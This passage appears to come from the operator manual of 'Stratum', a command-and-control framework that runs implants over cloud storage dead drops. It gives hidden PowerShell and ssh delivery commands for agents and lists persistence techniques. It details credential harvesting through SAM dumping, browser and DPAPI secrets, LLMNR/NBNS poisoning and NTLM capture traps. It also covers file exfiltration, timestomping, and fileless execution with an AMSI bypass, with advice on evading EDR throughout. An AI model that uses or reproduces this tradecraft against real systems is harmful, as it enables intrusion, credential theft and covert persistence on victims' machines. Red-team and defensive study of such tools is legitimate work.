If identity_claim is absent from the token, login is denied with an explicit error message.
3.6 Login Page Behaviour
The login page adapts automatically based on the server's auth_mode. Operators navigate to https://<server>:<port>/ — the server redirects unauthenticated requests to the login page.
- local — operator sees a username + password form. Enter credentials and submit. A JWT is issued on success and stored as a session cookie; the browser redirects to the WebGUI.
- oidc-manual / oidc-auto — the credential form is hidden and replaced by a single Sign in with OIDC Provider button. Clicking it redirects the browser to the provider's authorization page (Keycloak, Azure AD, Okta, etc.). After successful authentication, the provider redirects back to Stratum with an authorization code; the server verifies the token, checks the identity against the whitelist (oidc-manual) or blocklist (oidc-auto), issues a JWT, and redirects to the WebGUI. No credentials are entered in Stratum directly.
OIDC errors (access denied, invalid state, missing claim, provider unreachable) are surfaced as inline messages on the login page — never as raw browser errors. An invalid JWT or expired session redirects back to the login page automatically.
3.7 Startup Validation
The server validates server.yml at boot and exits with a clear diagnostic message if any of the following conditions are detected:
auth_modeis not one oflocal,oidc-manual,oidc-autoauth_mode: localwith no entries inusers[]auth_mode: localwith a user entry missingusernameorpasswordauth_mode: oidc-manualoroidc-autowith missingprovider_url,client_id, orclient_secretauth_mode: oidc-manualwith an emptyallowed_identitieslistserver.ymlis not valid YAML
The server never starts in a partially configured state — fail-fast is intentional.
4Deploy Wizard
The Deploy Wizard creates a new session end-to-end: provider authentication, channel configuration, delivery mode selection, and artifact build. It runs in a modal overlay and streams build progress in real time.
4.1 Open the Wizard
Click + Deploy in the topbar. The wizard modal opens and walks you through four steps.
4.2 Authenticate the Provider
OAuth2 providers (Dropbox, OneDrive, Google Drive, SharePoint): the wizard opens the provider authorization page in a popup. Authorize the Stratum app, the popup closes, and the wizard captures the token automatically. Credentials are saved for future deployments — authorize once per provider account.
S3-compatible providers: no popup. Enter access_key_id, secret_access_key, region, bucket name, and optional endpoint URL directly in the wizard form.
4.3 Configure the Channel
Step 3 sets the dead-drop location and beacon timing.
The channel section includes two randomization toggles and a session label field:
- Randomize filenames (toggle, default: on) — generates random hex names for
input_file,output_file, andheartbeat_file. When off, the fields appear for manual entry. - Folder Path — three modes via radio selector:
- Random hex (default) — generates an 8-char hex path like
/a8f3c1b2. No fingerprint, no static pattern. - Random realistic — generates a plausible folder name like
/Reports_Q3or/Backups42from a prefix+suffix dictionary. Blends with real cloud content. - Manual — reveals a text input for a custom folder path.
- Random hex (default) — generates an 8-char hex path like
- Session Label (text input + 💡 Suggest button) — operator-assigned name for the session (e.g.
webserver-01,dc-corp). Shown in the session list and header. If left empty, the folder path is used as the display name. The Suggest button opens a modal with context-aware label suggestions grouped by category (EDR, cloud, infrastructure, etc.).
Step 2 (Configuration) sets the beacon timing and guardrails:
- Sleep Interval + Jitter — beacon timing. 60s interval with 20% jitter produces 48–72s actual intervals, breaking fixed-interval network signatures.
- Maintenance Window — optional time range during which the agent will not beacon. Restricts activity to off-hours to reduce detection exposure.
4.4 Select Delivery Mode
Choose the delivery mode for this deployment. See Technical Reference §4 for full detail on each mode.
- Stageless-Enc — recommended for production. Single-file drop; config is AES-encrypted with
stub_secretbaked into the binary. Nothing sensitive is ever uploaded to cloud storage. Works fully offline after delivery. - Staged-Enc — smallest initial stub footprint. Stage-2 payload lives in the cloud folder (encrypted with stub_secret) and can be updated without re-delivering the stub.
- Stageless-Plain — no encryption at rest. Use only in controlled lab or air-gap environments.
Optionally enable Debug mode for verbose agent logging. Disable in production — debug output is written to the cloud channel and increases operational exposure.
4.5 Build and Deliver
The wizard streams the build log as it compiles all artifacts. On completion, a summary lists every artifact and its OPSEC profile. Download the deployment package from the Tradecraft panel (§5.4).
The generated DEPLOYMENT_GUIDE.txt inside the package contains the exact delivery commands for the target platform:
# Linux — staged-enc or stageless-enc
scp deployment_7b3f8a/agent/stub.sh user@target:/tmp/
ssh user@target 'chmod +x /tmp/stub.sh && nohup /tmp/stub.sh >/dev/null 2>&1 &'
# Windows — PowerShell delivery
powershell -ep bypass -w hidden -f stub.ps1
# Windows — native EXE (if compiled)
stub.exe # run directly or inject via preferred loader
# Windows — shellcode (stub.bin)
# Inject into target process via your preferred technique
.sh, .ps1, .elf, .exe, .dll, and .bin all sharing the same session ID and cloud folder. Switch between them on the target as needed without redeploying.
credentials/{provider}) into the deployment package at deployments/{id}/ for per-session isolation. The global file is not deleted — it remains available for reuse in future deployments. To authenticate with different credentials, answer N when the wizard asks to reuse existing credentials.
5WebGUI Reference
5.1 Interface Overview
The Stratum WebGUI is a browser-based multi-operator interface accessible at https://<server>:7443 (default port, configurable in server.yml). It communicates with the server over REST (for actions) and WebSocket (for real-time session state updates). No client software installation is required — any modern browser works.
The layout is a single persistent view with three vertical zones:
- Topbar — fixed at the top: brand,
+ Deployand📦 Tradecraftbuttons (open modals), WebSocket status, server clock, chat toggle, settings, operator pill and logout - Sessions pane — resizable table at the top of the main area listing all active sessions; clicking a row selects it and populates the detail area below
- Detail area — the lower panel, showing the selected session's shell, history, artifacts, persistence, control and info tabs; the operator chat panel docks to the right side
5.2 Session List
The Session List is the default view. It shows all active and recently active sessions with real-time state updates pushed over WebSocket. No manual refresh is needed — state changes (new session, heartbeat update, status change) appear instantly across all connected operators.
Agent status states (shown as pills in the first table column):
● LIVE— heartbeat received within the lasthb_warn_multiplier × sleepseconds (default: 3×)● IDLE— no heartbeat betweenhb_warn_multiplier × sleepandhb_dead_multiplier × sleep(default: 3× – 6×)● DEAD— no heartbeat for more thanhb_dead_multiplier × sleep(default: 6×); agent may be down● CLOUD— heartbeat monitor encountered a cloud connectivity error (not agent-down; cloud unreachable from server); shown in purple■ STOP— polling manually paused via the ■ Stop Poll button
hb_warn_multiplier and hb_dead_multiplier in server.yml. A session with a 5-minute sleep uses different absolute thresholds than one with 60 s — so a long-haul session at 300 s sleep is never incorrectly marked DEAD after a single missed beacon.
Table columns (drag to reorder; order persisted in localStorage):
| Column | Content |
|---|---|
| Status | Live status pill (LIVE / IDLE / DEAD / CLOUD / STOP) + lock icon if session is locked |
| Provider | Cloud storage provider icon and name |
| Label | Session label if set by the operator; falls back to the cloud folder path if no label was assigned |
| ID | First 6 hex chars of the session UUID |
| User | Target username (with * star if admin/root/SYSTEM) |
| Host | Target hostname |
| Domain | Target domain |
| OS | Operating system badge (Win / Linux) |
| Int IP | Internal IP address |
| Ext IP | External IP address |
| PID | Agent process ID |
| Process | Agent process name |
| Last HB | Time since last heartbeat (live countdown) |
| Next Checkin | Estimated time until next beacon (based on sleep interval) |
Click any row to select the session and populate the detail area below the resize handle.
5.3 Session REPL
Clicking a row in the sessions table selects that session and populates the detail area below the resize handle. The detail area opens with the session header — the session label (or folder path if no label is set), a live status pill, and a ■ Stop Poll button — followed by a metadata row (session ID, provider, last heartbeat, sleep, jitter, OS) and a tab bar. The Shell tab (default) is a terminal-style interface: type any shell command to send it encrypted to the agent, or use slash-prefixed control commands for built-in operations. There is no separate sidebar — all session metadata appears in the header rows above the tab bar.
PS>cmd>$#Shell commands (anything not prefixed with /) are encrypted and sent to the agent as pass-through shell input. The agent executes the command, captures stdout+stderr, encrypts the response, and uploads it to the cloud output file. The WebGUI polls and displays the result as soon as it arrives.
5.4 Tradecraft Panel
The 📦 Tradecraft button in the top bar opens a modal overlay listing all deployment packages stored on the server. Each package contains the complete set of artifacts for a session: agent scripts, compiled binaries, keys, and the deployment guide. Packages can be downloaded as a ZIP or deleted when no longer needed.
5.5 Multi-Operator & Chat
Multiple operators can be logged in simultaneously. The WebSocket connection keeps all clients synchronized — a command sent by one operator appears in all connected clients' history. The session locking mechanism prevents two operators from sending commands to the same session simultaneously: the first operator to interact with a session holds the lock for session_lock_ttl seconds (default: 120s, configurable in server.yml).
The integrated team chat allows operators to communicate within the WebGUI without leaving the interface. Chat messages are ephemeral — they are broadcast over WebSocket to all connected operators but not persisted to disk. Chat is accessible via the chat icon in the top bar.
5.6 Session Tabs
When a session is selected, the detail area expands a tab bar with six tabs. Each tab focuses on a different aspect of the session.
| Tab | Contents |
|---|---|
| Shell | Interactive REPL — type any shell command or a /slash control command. Output appears inline. The prompt label reflects the target shell: $ (bash/sh), # (root), PS> (PowerShell), cmd> (CMD). Updated automatically on the first heartbeat. |
| History | Full searchable log of every command and response for this session. Includes timestamp, operator who issued each command, CMD ID, and full output. Supports keyword search. One-click ⬇ Export XLSX generates a multi-sheet Excel report (see §5.7). |
| Artifacts | Three sub-sections: exfiltrated files (pulled from target with /download), on-target artifacts (files written on target — agents, persistence scripts), and uploaded files (pushed with /upload). See §5.8 for the full artifact workflow. |
| Persist | Visual overview of all persistence techniques available for this target's OS. Shows installed / not-installed / unknown status per technique with one-click install, remove, and status-check buttons. |
| Credentials | Auto-populated credential store. Credentials are extracted automatically from /creds harvest, /creds sam, /creds coerce, and /creds listen dump output — including NTLMv2 (from SMB and http-ntlm listeners), HTTP Basic (from http listeners), SAM hashes, shadow hashes, browser passwords, Git tokens, AWS keys + session tokens, SSH plaintext private keys (with artifact download note), Docker and WiFi credentials. Listen dump output is parsed per-section so each credential is attributed to its correct listener protocol. Column order: Source · Protocol · Host · Domain · Notes · Username · Secret · Type · Actions. The ⊕ Show button on each row opens a detail popup with the full untruncated secret in a scrollable monospace box and a Copy Secret button. Columns are resizable (drag handles, persisted in localStorage). Operators can also add entries manually. All credentials sync in real time across operators via WebSocket. Included in the XLSX export as a dedicated sheet. |
| Control | Session control panel: sleep interval, jitter percentage, command timeout, and /blobsave for manual hw-keyed blob management. |
| Info | Full session profile: all heartbeat fields (OS, host, user, IPs, PID, process, domain, CWD), deployment configuration (provider, deploy mode, folder path, channel files, session label), guardrails (kill date, active window), and version info. |
$, #, PS>, cmd>) is derived from the process field in the heartbeat. It appears correctly after the first heartbeat and updates automatically if the agent's runtime context changes.
5.7 History & Session Logs
History tab
The History tab shows the complete command log for the session — every command issued and its full response, in reverse-chronological order. The search box filters rows in real time by any field (timestamp, operator, command text, or output).
Clicking a row opens a command detail overlay showing the full untruncated output, which is useful for long responses that are clipped in the table view.
Session log file (server-side CSV)
Every session's history is persisted server-side as a CSV file in the logs/ directory. The file is created on the first command and appended live — one row per event. The filename follows the pattern:
logs/{provider}_{folder_slug}_{session_id}.csv
CSV columns:
| Column | Description |
|---|---|
timestamp | ISO-8601 timestamp in server timezone |
session_id | 6-hex session identifier |
id | Command UUID (or ARTIFACT / ARTIFACT_REMOVED for artifact events) |
command | Command text sent to agent; for artifact rows: type:path |
response | Agent response text (empty on pending rows; filled on completion) |
operator | Username of the operator who issued the command |
The file is append-only during the session. If the server restarts and the same session reconnects, a --- resumed --- separator row is appended so different operator runs are distinguishable in the file. Artifact events are interleaved as special rows with ARTIFACT or ARTIFACT_REMOVED as the ID — this keeps the on-target artifact state self-contained in a single file.
XLSX Export (3-sheet report)
The ⬇ Export XLSX button in the History tab generates an Excel workbook with four sheets:
| Sheet | Columns | Contents |
|---|---|---|
| Commands | Timestamp · Session ID · CMD ID · Operator · Command · Response | Full deduplicated command log (last response wins per CMD ID). The primary forensic and operational record of the session. |
| Artifacts | Timestamp · Type · Path · Status | On-target artifact state — files written on the target machine. Status is on target or removed. Derived from ARTIFACT/ARTIFACT_REMOVED rows in the session log. Essential for post-operation cleanup verification. |
| Uploads | Timestamp · Filename · Remote Path · Size (bytes) · CMD ID · Status | Files pushed to the target via /upload. Status is on target or removed (updated when operator marks deletion). Paired with the Artifacts sheet for a complete on-target footprint picture. |
| Credentials | Timestamp · Source · Protocol · Host · Domain · Notes · Username · Secret · Type · Port · Operator | All credentials collected during the session — auto-extracted from /creds command output and manually added entries. Types include NTLMv2, NTLM, password, hash, token, basic, ssh_key, cookie, and others. Source indicates how the credential was obtained (harvest, sam, listen, coerce, manual). Listener credentials are attributed to their correct protocol (smb, http, http-ntlm) based on per-section dump parsing. |
History Archives
The 📂 History Archives modal (accessible from the global top bar) lists all session log files stored on the server. These files accumulate as sessions run — one file per deployed session — and survive session deletion unless explicitly cleared during the delete flow.
Clicking any entry in the list opens a two-tab browser for that session's historical record:
- Commands tab — searchable table identical to the History tab in the live session. Clicking a row opens the full command detail overlay.
- Artifacts tab — on-target artifacts and uploaded files in read-only view, mirroring the live session's Artifacts tab but without action buttons.
The ⬇ download button generates and downloads the 3-sheet XLSX report on demand. The ✕ delete button (two-step confirmation) permanently removes the log file from the server.
5.8 Artifact Tracking & Post-Operations
The Artifacts tab consolidates everything the operation has touched on the target machine. It is designed to be the primary checklist for post-operation cleanup: before terminating an engagement, an operator should review all three sections and ensure all on-target material is accounted for.
Exfiltrated Files
Files pulled from the target using /download <remote-path> are saved on the operator machine under downloads/{session_id}/. Each file appears in the Exfiltrated Files table with:
- Filename / path — toggle between filename and full remote path via the Filename/Filepath selector
- Type — MIME type badge (image, text, binary, archive…)
- Size and MD5 hash
- Actions — ⬇ Download saves the file again locally; 👁 View opens an inline text preview; 🗑 Del deletes the local operator-side copy
On-Target Artifacts
Every file written on the target machine during the operation is tracked here. The agent reports artifact events via its heartbeat log, which the server records as ARTIFACT and ARTIFACT_REMOVED rows in the session CSV. Artifact types include:
| Type | What it is |
|---|---|
enc_staged_agent | Encrypted stage-2 agent blob saved on target disk (staged-enc mode) |
persist_* | Files installed by persistence techniques (cron entries, schtask definitions, registry keys, startup scripts) |
staged_file | File staged in the cloud channel — not yet on the target filesystem |
| custom | Any path explicitly recorded by the operator for tracking purposes |
Each artifact shows its type badge, full on-target path, log timestamp, and current status (on target or removed). This list is the definitive answer to the question: "what have we left on this machine?"
Uploaded Files
Files pushed to the target via /upload <local-file> <remote-path> appear in the Uploaded Files table. The agent confirms delivery and the controller records the event. Each entry shows filename, size, remote path, confirmation timestamp, and status.
Two action buttons manage the post-op record:
- 🗑 Delete — sends a shell
rm(Linux) ordel(Windows) command to the agent to remove the file on target, then marks the record as removed. Requires an active session. - ✓ Mark as removed — updates the status to removed without sending any shell command. Use this to acknowledge files you removed manually via a shell command or through another path.
Post-Operation Cleanup Workflow
Before ending an engagement, work through this checklist using the Artifacts tab:
- Open the Artifacts tab and review On-Target Artifacts. For each item still marked on target, issue a shell
rm/delor use a/persist remove <id>command to clean it up, then mark it as removed. - Review Uploaded Files. Use the Delete button for each file to send the removal command and mark it removed.
- Send
/killto terminate the agent — this removes all persistence techniques, deletes the staged blob from the target disk, then terminates the process. - Delete the session via the Control tab or session header — see §5.9.
/kill runs a full cleanup sweep before exiting: removes all installed persistence, wipes the on-disk blob. /stop is a graceful shutdown with no cleanup. Use /kill at end of engagement, /stop only when you intend to resume later and the target state is already clean.
5.9 Session Delete & Deploy Cleanup
Stopping polling before delete
Before deleting a session, consider stopping the polling monitor first using the ■ Stop Poll button in the session header. This halts the heartbeat monitor thread without affecting the agent, giving you time to inspect the session or run final cleanup commands without the state updating in the background. A toast notification is sent to all connected operators when polling is stopped or resumed.
Session Delete modal
Clicking Delete Session in the Control tab opens a confirmation modal with four independent checkboxes. Each controls a different scope of deletion:
| Option | What it deletes | Default |
|---|---|---|
| History log | The CSV session log file from logs/ on the server (and from History Archives) | Unchecked — preserve history |
| Upload records | The uploads_{session_id}.json record file from logs/ | Unchecked |
| Downloaded files | The downloads/{session_id}/ folder with all operator-side exfiltrated files | Unchecked |
| Cloud channel files | Dead-drop files (input, output, heartbeat) and the entire cloud folder for this session — deleted recursively on the provider | Checked — clean up cloud |
The deletion streams progress events to the WebGUI in real time — each category reports ok, skip, or warn as it completes. The progress modal closes as soon as local cleanup finishes; cloud cleanup continues in the background.
Background cloud cleanup
Cloud folder deletion runs in a background thread so the operator is not blocked waiting for the agent to poll. The sequence is:
- KILL sent — the KILL task is written to the dead-drop input path.
- Local cleanup (immediate) — session removed from the manager, deployment directory, upload records, history log, and downloads deleted. The progress modal closes at this point.
- Wait — the background thread sleeps
agent_sleep + 5seconds. This guarantees the agent has time to poll and receive the KILL before the cloud folder is deleted. Agents with long sleep intervals (e.g. 1h30m) hold the thread for the full cycle — the operator remains unblocked during this time. - Cloud delete — output file, heartbeat file, and the entire session folder are deleted from the provider.
- Notification — a
session.wipe_doneWebSocket message is broadcast to all operators. The session row is removed from the list and a toast confirms success or reports the error.
Wiping badge
While the background thread is running, the session row stays visible in the Session List with a pulsing ⟳ WIPING badge instead of the normal status pill. This signals to all operators that the session has been terminated locally but cloud cleanup is still in progress. The row disappears automatically when the cloud delete completes.
DELETE /files/{id}; S3 lists all objects under the folder prefix and deletes each one (S3 has no real folders).
Total deploy deletion
Deleting a session removes it from the live session list but does not remove the deployment package (keys, binaries, guide) from the deployments/ directory on the server. To fully remove a deployment:
- Delete the session with Cloud channel files enabled (recursively deletes the cloud folder and all its contents)
- Open 📦 Tradecraft and delete the corresponding deployment package
Deleting the Tradecraft package removes the RSA private key for that session from the server. Once deleted, encrypted past responses cannot be decrypted — this is a one-way operation. Do this only after all relevant data has been extracted and saved locally.
Remote stop commands
/stop — graceful shutdown: agent finishes any pending command, then exits cleanly
/kill — cleanup + shutdown: removes persistence, wipes blob from disk, then exits
Both commands are asynchronous — the agent picks them up on its next checkin cycle. After sending /kill or /stop, the session will go IDLE then DEAD as the heartbeat stops. Delete the session after the status reaches DEAD to confirm the agent is no longer running.
5.10 Settings & Notifications
Settings panel
The ⚙ Settings icon in the top bar opens a modal with four tabs.
| Tab | Contents |
|---|---|
| Credentials | Change the current operator's password. Enter the new password twice and confirm. The change takes effect immediately — no re-login required. Other operators are not affected. |
| Display | Theme selector: choose between built-in themes (Dark, Midnight, Red, Matrix) or define a custom accent color. The theme is stored per-browser and applied instantly with no reload. The About sub-panel shows version and build information. |
| Server | Server-wide timezone configuration. A live preview clock shows the current time in the selected timezone before applying. Clicking Apply Timezone updates the server timezone immediately — all timestamps in the WebGUI (session history, heartbeat times, the navbar clock) switch to the new zone in real time across all connected operators via WebSocket, no page reload needed. |
| Operators | Shows all currently connected operators with their connection status. The server enforces one WebSocket connection per username — a second login from the same account displaces the first. |
Themes
Four built-in themes are available, each optimized for different operational environments:
| Theme | Accent | Best for |
|---|---|---|
| Dark | Deep red | Default — neutral dark background, red accent |
| Midnight | Blue | Low-eye-strain for long sessions |
| Red | Bright red | High contrast, alert-heavy operations |
| Matrix | Green | Monochrome green on black |
A custom accent color can be set to any hex color — the full UI palette derives from the accent automatically.
Notification system
Stratum uses two notification layers: toast notifications (bottom-right corner, auto-dismiss after a few seconds) and real-time WebSocket state updates (applied silently to the UI).
Toast notifications are sent to other operators — not the operator who triggered the event — for the following events:
| Event | Toast message |
|---|---|
| Operator connects | "<name> is online" |
| Operator disconnects | "<name> went offline" |
| Polling paused on a session | "Polling stopped — <session> by <operator>" |
| Polling resumed on a session | "Polling resumed — <session> by <operator>" |
| Server timezone changed | "Timezone changed to <zone> by <operator>" + live clock update |
| Background wipe complete | "Wipe complete (waited Xs)" — sent to all operators when cloud cleanup finishes |
| Background wipe error | "Wipe error — <detail>" — sent to all operators if cloud delete fails |
Session state changes (new heartbeat, status change, new command, session added/removed) are propagated to all operators as silent WebSocket updates — the session list and detail panel update automatically without any notification toast.
server.timezone WebSocket message is broadcast to all connected operators. Each client immediately updates the navbar clock, all displayed timestamps in session history, and the live heartbeat age calculations — all without a page reload.
6Command Reference
6.1 Shell Pass-Through
Any input in the session REPL that does not begin with / is treated as a shell command. The controller wraps it with the current working directory context and sends it to the agent, which evaluates it as native shell code — eval in Bash on Linux, Invoke-Expression in PowerShell on Windows. stdout and stderr are captured and returned together.
Supported shell syntax: all native shell constructs work as expected.
# Pipes and filters
ps aux | grep python | awk '{print $2}'
cat /etc/passwd | cut -d: -f1 | sort
# Redirections
ls -la /tmp > /tmp/listing.txt
curl -s http://internal-api/data 2>/dev/null
# Command chaining
id && whoami && hostname
mkdir /tmp/.work && cd /tmp/.work
# Variable expansion and substitution
echo "running as $(whoami) on $(hostname)"
# Windows equivalents
dir C:\Users | findstr /i "admin"
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name,CPU
Working directory persistence: the session tracks the current working directory across commands. A cd command updates the CWD for all subsequent commands in that session, exactly like a persistent shell.
cd /var/www/html
ls -la # runs in /var/www/html
cat config.php # still in /var/www/html
# Windows
cd C:\Users\jdoe\AppData\Local
dir # runs in the new path
Quoting: quote paths with spaces normally — the shell interprets quoting exactly as it would locally.
ls "/home/user/My Documents"
Get-Content 'C:\Program Files\App\config.ini'
sudo prompting for a password, vi, ssh) will hang until the command timeout expires. Use explicit non-interactive flags (sudo -n, echo "pass" | sudo -S) or the built-in slash commands instead.
6.2 Session Management Commands
6.3 Persistence Commands
Technique IDs
| ID | OS | Privilege | Trigger |
|---|---|---|---|
cron-reboot | Linux | User | @reboot |
systemd-user | Linux | User | Logon |
systemd-system | Linux | Root | Boot |
rc-local | Linux | Root | Boot |
cron-system | Linux | Root | Periodic |
schtask-logon | Windows | User | Logon |
registry-run | Windows | User | Logon |
startup-folder | Windows | User | Logon |
schtask-boot | Windows | Admin | Boot |
registry-run-hklm | Windows | Admin | Logon |
wmi-event | Windows | Admin | Boot (EventCode 6005) |
service | Windows | Admin | Boot |
6.4 File Operations
{folder}/staging/out/. Available in the Downloads tab of the session.{folder}/staging/in/, agent fetches and writes to remote-path.ref-path onto path. Use when you want the target file to blend with an existing reference file on the same host.path to an explicit absolute date-time (ISO-8601, e.g. 2024-03-15T09:00:00). Use when you want to match a specific known time rather than an existing reference file./exfil C:\Users\*\Documents\*.docx). Agent walks matching paths and stages all files to the cloud staging area. Files appear in the Downloads tab.6.5 Tradecraft Commands
/poll/stop.6.6 Credential Harvesting
The /creds family collects credential material from the target for offline cracking or lateral movement. It is designed for the Stratum use-case: grab what you need to re-establish access, then exfiltrate through the cloud channel.
/creds module requires binary protocol capabilities (SMB2/NTLMSSP, ASN.1/DER, AES-GCM) that the bash agent cannot provide. Deploy the Rust native agent for full cross-platform credential harvesting (Linux + Windows), or the PowerShell agent for Windows-only coverage. The bash agent will return ERROR: unknown task type for any /creds command. See §3.5 for the complete feature parity matrix and implementation-level differences between Rust and PS1.
logins.json + key4.db are staged for offline cracking with firefox_decrypt + hashcat. Cloud credentials (AWS, Azure, GCloud, Docker, Kube) are parsed and displayed inline. SSH keys are classified as encrypted/plaintext. Windows: FileZilla credentials (sitemanager.xml/recentservers.xml), mRemoteNG connections (confCons.xml, staged for offline decrypt with default key mR3m), PowerShell history secrets grep (ConsoleHost_history.txt), unattend/sysprep XML files (staged if containing passwords), Git credentials. Linux: /etc/shadow hashes (root), NetworkManager WiFi keys, Kerberos ccache metadata, GNOME Keyring, SSSD cache, bash/zsh history secrets grep. Files that cannot be decrypted on-target (DPAPI blobs, master keys, Chrome v20, Vault) are staged with human-readable names — decrypt offline with mimikatz dpapi:: or DPAPImk2john using the user's password or domain backup key. After the Summary line, contextual Hints are printed based on what was found — offline cracking workflows for Firefox master password (hashcat -m 26100), DPAPI blobs (mimikatz/DPAPImk2john), Chrome/Edge (DPAPI key extraction), mRemoteNG (default key mR3m, AES-GCM PBKDF2-SHA1), unattend.xml (base64-encoded passwords), and a reminder to try /creds harvest decrypt when running without the decrypt flag.CryptUnprotectData (DPAPI) and DPAPI credential blob decryption. Works for Chrome v10 passwords (pre-ABE) and same-session DPAPI blobs. Higher detection risk: EDR solutions may hook CryptUnprotectData and generate Event ID 16385 (DPAPI Activity). Use in low-monitoring windows.RegOpenKeyExW + RegQueryMultipleValuesW with REG_OPTION_BACKUP_RESTORE. Zero child processes, zero files on disk, zero flagged command lines. Output in user:RID:lm_hash:nt_hash::: format.smb:445 (NTLMv2 via SMB), http:80 (plaintext credentials via HTTP Basic auth), http-ntlm:80 (NTLMv2 via HTTP NTLM negotiation). Multiple listeners can run simultaneously on different proto:port combinations. LLMNR/NBNS poisoners auto-start with the first listener and stop with the last. Default: smb:445.http:80): stops only that specific listener. Poisoners stop automatically when the last listener is removed.-m 5600 format. Also reports LLMNR/NBNS poisoner response counts. Includes per-IP visit tracking: total visits across all listener types, per-IP breakdown sorted by frequency (most active first), and IP-to-credential association showing which IPs submitted credentials and which only visited without authenticating.Listener Protocol Details
| Protocol | Syntax | Captures | Use Case |
|---|---|---|---|
| SMB | /creds listen start smb:445 | NTLMv2 hashes | Coerced auth, file share access, pass-the-hash relay |
| HTTP Basic | /creds listen start http:80 | Plaintext user:pass | Credential phishing, API key capture, curl/wget/script auth |
| HTTP NTLM | /creds listen start http-ntlm:80 | NTLMv2 hashes | Browser auto-auth (Intranet zone), phishing links, WPAD |
The http listener sends a 401 Unauthorized with only WWW-Authenticate: Basic, forcing the browser to show a login prompt and send credentials as Base64-encoded user:pass — plaintext capture. The http-ntlm listener advertises WWW-Authenticate: Negotiate, NTLM, and Basic. The Negotiate header triggers automatic Intranet Zone authentication — Windows browsers (Chrome, Edge) send NTLMv2 credentials silently when the server hostname is in the Intranet Zone (e.g., *.domain.local or single-label hostnames like http://fileserver/). Zero-click, no popup. For cross-subnet capture, the http-ntlm listener serves a WebDAV trap page with embedded UNC paths (\\IP@80\docs\logo.png) that trigger the Windows WebClient service to authenticate via NTLM on the same HTTP port — no SMB:445 needed. Authorization: Negotiate tokens are parsed for both raw NTLMSSP and SPNEGO-wrapped payloads (SPNEGO/NTLMSSP unwrapping). All listener types perform per-IP visit tracking: each connection is logged by source IP, and /creds listen dump shows total visits, per-IP breakdown sorted by frequency, and IP-to-credential association.
Credential Harvesting — Platform Matrix
| Source | Windows | Linux | Privilege |
|---|---|---|---|
| Firefox passwords (decrypted inline) | ✓ | ✓ | User |
| Chrome/Edge passwords (decrypt) | ✓ | — | User |
| DPAPI blobs & master keys | ✓ | — | User |
| SSH keys & config | — | ✓ | User |
| Kerberos ccache | — | ✓ | User |
| Cloud credentials (AWS/Azure/GCP/Docker/Kube) | — | ✓ | User |
| WiFi profiles (cleartext keys) | ✓ | ✓ (root) | User / Root |
| Windows Vault | ✓ | — | User |
| GNOME Keyring | — | ✓ | User |
| SAM hashes (in-memory) | ✓ | — | SYSTEM |
| SMB/HTTP listener (NTLMv2) | ✓ | ✓ | Root (port <1024) / User (high port) |
| HTTP Basic listener (plaintext) | ✓ | ✓ | Root (port <1024) / User (high port) |
| SSH agent hijack | — | ✓ | User (same UID) / Root |
/creds listen dump. Captured credentials are auto-populated in the Credentials tab with the correct listener protocol attribution. Click the ⊕ Show button on any credential row to open a detail popup with the full secret visible and a Copy button.
/creds harvestreads files and decrypts Firefox passwords using pure crypto (no Windows API hooks). Cloud creds, SSH keys, shadow hashes are passive file reads. Low detection risk./creds harvest decryptcallsCryptUnprotectData(DPAPI) — generates Event ID 16385 and may trigger EDR hooks on the DPAPI API. Use only when the risk is acceptable./creds samreads registry keys via API withREG_OPTION_BACKUP_RESTORE— noreg.exeprocess, no hive files on disk, no command-line telemetry. Generates minimal registry access events (ID 4656/4663) which are typically not forwarded unless audit-object-access is explicitly enabled./creds listen start smb:445on Windows will fail — port 445 is occupied by LanmanServer. Usehttp:80(Basic),http-ntlm:80(NTLM), or a high port likesmb:8445.- LLMNR/NBNS poisoners respond to multicast name queries — detectable by network monitoring tools (e.g. Respounder, MDI). Use in isolated segments.
- Multiple listeners increase the attack surface but also the detection surface — each open port is visible in
netstat. /creds harvestfiles are exfiltrated via the normal Stratum cloud channel — large dumps (browser DBs) may take multiple poll cycles.
6.7 In-Memory & Fileless Execution
These commands load and run binaries or scripts without writing anything to disk on the target. Binaries are executed in the agent's process memory; scripts are piped to the interpreter's stdin. All commands are Rust native agent only. Platform support varies per command — see the callout below.
/bof, /assembly, /assembly-amsibypass are Windows only. /memexec, /script are cross-platform (Win+Linux). /script-amsibypass is Windows PowerShell only.
_AppDomain::Load_3, and invokes the entry point via _MethodInfo::Invoke_3. Console output is captured via pipe redirection with a dedicated reader thread (prevents deadlocks on large output). An embedded ConsoleReset helper rebinds Console.Out after pipe redirect. Supports passing command-line arguments as string[] args. Windows only./assembly but with a patchless AMSI bypass applied before loading the assembly. The agent sets a CPU hardware breakpoint (DR0) on AmsiScanBuffer and installs a Vectored Exception Handler. When AMSI calls AmsiScanBuffer, the CPU raises a debug exception; the VEH intercepts, sets the return value to AMSI_RESULT_CLEAN, and skips the function body. Zero VirtualProtect, zero memory writes on amsi.dll — evades Behavior:Win32/AMSI_Patch_T behavioral detections. The breakpoint is removed after execution. Use this when Defender blocks assemblies like Rubeus, Seatbelt, or SharpUp. OPSEC note: patchless — no memory modifications to amsi.dll. Breakpoint is per-execution, not persistent.memfd_create + execve — creates an anonymous file descriptor in memory, writes ELF bytes, executes via /proc/self/fd/N. Cross-platform (Win+Linux), Rust native agent only..ps1 or hint ps1 → PowerShell; .bat/.cmd or hint cmd → CMD; shebang #!/bin/bash → bash; shebang #!/usr/bin/python or hint python → python3; default → PowerShell on Windows, /bin/sh on Linux. The optional second argument overrides auto-detection: ps1, cmd, bash, python, sh. Windows processes run with CREATE_NO_WINDOW. Cross-platform./script but with patchless AMSI bypass: sets a CPU hardware breakpoint (DR0) on AmsiScanBuffer + Vectored Exception Handler before spawning PowerShell. The VEH intercepts AMSI scan calls and returns AMSI_RESULT_CLEAN without modifying any memory in amsi.dll. Evades Behavior:Win32/AMSI_Patch_T detections. Breakpoint removed after execution. Windows PowerShell only — on Linux the AMSI flag is ignored and the script runs normally.In-Memory & Fileless Execution — OPSEC Matrix
| Command | Platform | Disk Artifacts | Process Creation | API Hooks Risk | Notes |
|---|---|---|---|---|---|
/bof | Win | None | None | Low | COFF runs in agent process space |
/assembly | Win | None | None | Medium | CLR hosting + AMSI scan by default. Defender may block known tools |
/assembly-amsibypass | Win | None | None | Low-Medium | HW breakpoint (DR0) + VEH — patchless, no VirtualProtect on amsi.dll. SetThreadContext theoretically observable via ETW-TI but not flagged by current AV/EDR |
/memexec | Win+Linux | None | None (Win) / Child (Linux) | Low | Win: reflective PE in-process. Linux: memfd_create + execve |
